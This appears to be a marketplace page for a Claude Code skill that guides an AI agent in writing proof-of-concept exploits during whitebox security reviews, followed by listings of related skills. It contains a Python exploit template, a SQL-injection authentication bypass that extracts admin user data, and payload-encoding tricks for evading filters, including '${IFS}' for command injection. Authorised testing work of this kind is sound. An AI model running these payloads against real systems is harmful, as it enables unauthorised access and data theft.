ai-ml-attacks
This skill should be used when the user asks about "AI security", "ML pipeline attacks", "prompt injection", "model deserialization", "unsafe model loading",…
This skill should be used when the user asks to "write an exploit", "create PoC", "develop proof of concept", "exploit script", "automate exploitation", "build exploit", or needs guidance on developing working exploits during whitebox security review.
$ npx -y skills add allsmog/vuln-scout --skill exploit-techniques --agent claude-codeHow it fires
How this skill gets triggered: by you, by Claude, or both.
/exploit-techniquesContext preview
The summary Claude sees to decide when to auto-load this skill.
This skill should be used when the user asks to "write an exploit", "create PoC", "develop proof of concept", "exploit script", "automate exploitation", "build exploit", or needs guidance on developing working exploits during whitebox security review.
name: Exploit Techniques description: This skill should be used when the user asks to "write an exploit", "create PoC", "develop proof of concept", "exploit script", "automate exploitation", "build exploit", or needs guidance on developing working exploits during whitebox security review. version: 1.0.0
Guide the development of Proof of Concept (PoC) exploits to demonstrate confirmed vulnerabilities. This is Phase 3 of the whitebox security review process.
Activate this skill when:
Choose exploit language based on target:
| Scenario | Recommended Language | |----------|---------------------| | Web application (server-side) | Python | | Client-side attack (browser) | JavaScript | | Mixed (client + server chain) | Python + JavaScript | | Binary exploitation | Python (pwntools) | | Windows target | Python or PowerShell | | Linux target | Python or Bash | | Reusing application logic | Same as application |
#!/usr/bin/env python3
"""
Exploit: [Application Name] [Vulnerability Type]
Author: [Your Name]
Date: [Date]
CVE: [If applicable]
Description:
[Brief description of the vulnerability]
Usage:
python3 exploit.py <target_url>
"""
import requests
import sys
import argparse
class Exploit:
def __init__(self, target):
self.target = target.rstrip('/')
self.session = requests.Session()
def check_vulnerable(self):
"""Verify target is vulnerable"""
# Implementation
pass
def exploit(self):
"""Execute the exploit"""
# Implementation
pass
def cleanup(self):
"""Remove any artifacts"""
# Implementation
pass
def main():
parser = argparse.ArgumentParser(description='Exploit description')
parser.add_argument('target', help='Target URL')
parser.add_argument('--check', action='store_true', help='Check only')
args = parser.parse_args()
exploit = Exploit(args.target)
if args.check:
if exploit.check_vulnerable():
print("[+] Target is vulnerable")
else:
print("[-] Target is not vulnerable")
return
try:
exploit.exploit()
finally:
exploit.cleanup()
if __name__ == '__main__':
main()import requests
# Basic GET
response = requests.get(f"{target}/path", params={"key": "value"})
# POST with data
response = requests.post(f"{target}/path", data={"key": "value"})
# POST with JSON
response = requests.post(f"{target}/path", json={"key": "value"})
# With headers
headers = {"Authorization": "Bearer token", "X-Custom": "value"}
response = requests.get(f"{target}/path", headers=headers)
# With cookies
cookies = {"session": "abc123"}
response = requests.get(f"{target}/path", cookies=cookies)
# Session persistence
session = requests.Session()
session.post(f"{target}/login", data={"user": "admin", "pass": "pass"})
session.get(f"{target}/admin") # Session cookies maintainedBefore automating, document each manual step:
1. Send request to /login with username=admin' OR 1=1-- 2. Extract session token from response cookie 3. Access /admin/users with session token 4. Extract user data from response
Translate manual steps to code:
def exploit(self):
# Step 1: SQL Injection for auth bypass
login_data = {"username": "admin' OR 1=1--", "password": "x"}
resp = self.session.post(f"{self.target}/login", data=login_data)
if "Welcome" not in resp.text:
print("[-] Authentication bypass failed")
return False
# Step 2: Access admin panel
resp = self.session.get(f"{self.target}/admin/users")
# Step 3: Extract data
users = self.parse_users(resp.text)
return usersdef exploit(self):
try:
resp = self.session.post(f"{self.target}/login", data=payload, timeout=10)
resp.raise_for_status()
except requests.exceptions.Timeout:
print("[-] Request timed out")
return False
except requests.exceptions.RequestException as e:
print(f"[-] Request failed: {e}")
return Falsedef check_vulnerable(self):
"""Non-destructive vulnerability check"""
test_payload = "admin' AND '1'='1"
resp = self.session.post(f"{self.target}/login",
data={"username": test_payload, "password": "x"})
# Check for SQL error or successful bypass
indicators = ["SQL syntax", "mysql_fetch", "Welcome admin"]
return any(ind in resp.text for ind in indicators)def cleanup(self):
"""Remove artifacts created during exploitation"""
# Delete uploaded files
# Restore modified data
# Remove created accounts
pass# URL encoding
payload = urllib.parse.quote(payload)
# Double URL encoding
payload = urllib.parse.quote(urllib.parse.quote(payload))
# Unicode encoding
payload = payload.encode('unicode_escape').decode()
# Case variation
payload = ''.join(c.upper() if i % 2 else c.lower() for i, c in enumerate(payload))# Space alternatives
payload = payload.replace(' ', '/**/') # SQL
payload = payload.replace(' ', '${IFS}') # Command injection
# Quote alternatives
payload = payload.replace("'", "\\x27")
payload = payload.replace('"', '\\x22')def print_success(self, message):
print(f"\033[92m[+]\AI-powered whitebox penetration testing plugin for Claude Code. 9 languages, 22 skills, 7 autonomous agents. STRIDE threat modeling, OWASP 2025 coverage, polyglot monorepo support.
Repo: allsmog/vuln-scout
This skill should be used when the user asks about "AI security", "ML pipeline attacks", "prompt injection", "model deserialization", "unsafe model loading",…
This skill should be used when the user asks about "business logic", "workflow vulnerability", "trust boundary", "state machine", "authorization bypass",…
This skill should be used when the user asks about "cache poisoning", "web cache deception", "CDN cache", "proxy cache", "nginx cache", "varnish", "cache key…
This skill should be used when the user asks about "cloud security", "AWS security", "GCP security", "Azure security", "Kubernetes security", "IMDS", "instance…
This skill should be used when the user asks about "compliance mapping", "PCI-DSS", "HIPAA", "SOC 2", "NIST CSF", "regulatory requirements", "compliance…
This skill should be used when the user asks about "Code Property Graph", "CPG analysis", "Joern queries", "CPGQL", "data flow verification", "taint tracking…